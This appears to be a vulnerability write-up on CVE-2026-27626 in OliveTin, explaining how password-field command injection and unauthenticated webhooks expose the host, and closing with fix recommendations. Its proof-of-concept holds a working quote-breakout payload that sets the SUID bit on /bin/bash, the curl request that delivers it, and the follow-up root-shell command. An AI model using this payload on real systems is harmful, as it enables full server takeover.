OliveTin is a tool that lets end-users run shell commands through a web interface.

It has two serious bugs (tracked together as CVE-2026-27626) that let an attacker run any command they want on the server, without even needing to log in.

Password fields: The app doesn’t clean up what users type into “password” fields before using it, so someone can sneak in extra commands.

Webhook triggers: These skip the security checks entirely, so anyone who can hit the webhook can run commands directly.

Because OliveTin exists specifically to let people trigger commands remotely, these bugs mean an attacker can take over the entire host system, the exact opposite of what the tool is supposed to safely allow.

The proof-of-concept:

We check if the service is running as root & the config file: cat /etc/OliveTin/config.yaml | grep -Ei ‘auth|pass’

authRequireGuestsToLogin: false [GUESS ACCESS ALLOWED]

1. authLocalUsers.enabled: true but no users actually defined
2. db_pass is interpolated raw inside single quotes in the shell string, allowing quote-breakout injection
3. Getting the actual value to put in bindingId (“backup_database”) came from reading the real live config:
   • cat /etc/OliveTin/config.yaml
   • which showed the custom action defined with:
   • title: Backup Database
     id: backup_database
4. Escalating to a stable root shell:

cat > /tmp/payload2.json << 'EOF'

{"bindingId":"backup_database","arguments":[{"name":"db_user","value":"backup_svc"},{"name":"db_pass","value":"x' ; chmod u+s /bin/bash ; echo '"},{"name":"db_name","value":"production"}]}

EOF

curl -s -X POST 'http://127.0.0.1:1337/api/api.v1.OliveTinApiService/StartAction' -H 'Content-Type: application/json' --data @/tmp/payload2.json

/bin/bash -p

FIX RECOMMENDATIONS:
Run OliveTin as a dedicated non-root service account with only the permissions its actions actually need.
Define real `authLocalUsers` and set `authRequireGuestsToLogin: true`, or disable guest access entirely.
Edit config.yaml to remove any actions using password arguments if possible.